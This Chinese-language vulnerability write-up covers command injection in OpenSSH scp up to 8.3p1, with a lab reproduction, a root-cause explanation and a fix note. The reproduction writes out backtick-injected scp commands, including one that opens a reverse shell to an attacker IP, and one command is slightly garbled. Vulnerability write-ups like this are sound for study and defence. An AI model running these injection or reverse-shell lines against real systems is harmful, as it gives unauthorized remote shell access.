Open SSH
OpenSSH 是用于使用 SSH 协议进行远程登录的一个开源实现。通过对交互的流量进行加密防止窃听,连接劫持以及其他攻击。OpenSSH 由 OpenBSD 项目的一些开发人员开发, 并以 BSD 样式的许可证提供,且已被集成到许多商业产品中。
漏洞简介
研究人员 Chinmay Pandya 在 openssh 的 scp 组件中发现了一个命令注入漏洞。OpenSSH 的 8.3p1 中的 scp 允许在 scp.c 远程功能中注入命令,攻击者可利用该漏洞执行任意命令。OpenSSH 8.3 p1及之前版本中的scp的scp.c文件存在命令注入漏洞。
scp介绍
scp 命令用于不同主机之间复制文件和目录。
scp 是 secure copy 的缩写,是 基于 ssh 协议进行安全的远程文件拷贝命令。
scp 想要免密进行复制,需要发送秘钥给相应的节点。
scp 是加密的,rcp 是不加密的,scp 是 rcp 的加强版。
漏洞复现
攻击机kali202001 ip 192.168.177.137
靶机 kali ip 192.168.177.128
执行文件新建命令
复制当前目录下的 exp.sh到、etc目录下,执行新建passwd1.txt命令
sudo dcp ./exp.sh root@ip:'touch /etc/passwd1.txt`/etc/'
在靶机中查看etc目录,新建文件已经执行成功
ls |grep passwd //查看带有passwd字段名的文件
进行端口反弹
scp命令将可执行文件传入指定目录,同时反引号扣住执行命令,监听可执行语句执行结果:
bash -i >& /dev/tcp/192.168.177.137/8888 0>&1
或者直接输入bash进行命令执行,实现端口反弹
sudo scp test.txt root@192.168.177.128:'`bash -i >& /dev/tcp/192.168.177.137/8888 0>&1`/dev/test1.txt'
攻击机已经获取shell
漏洞分析
在向远程主机拷贝文件时,文件的路径会追加到本地 scp 命令后,当执行本地 scp 命令时,scp 不会检查、过滤和清除文件名。这使得攻击者执行带有反引号的有效 scp 命令时,本地 shell 还将执行反引号中的命令
漏洞修复
输入以下命令查看openssh版本
ssh -V
官方尚未发布安全更新补丁,请密切关注厂商主页获取解决办法。
参考链接
https://www.secpulse.com/archives/136455.html
https://idc.wanyunshuju.com/wap/aqld/1714.html
https://www.cnblogs.com/mrhonest/p/13426971.html
免责声明
严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !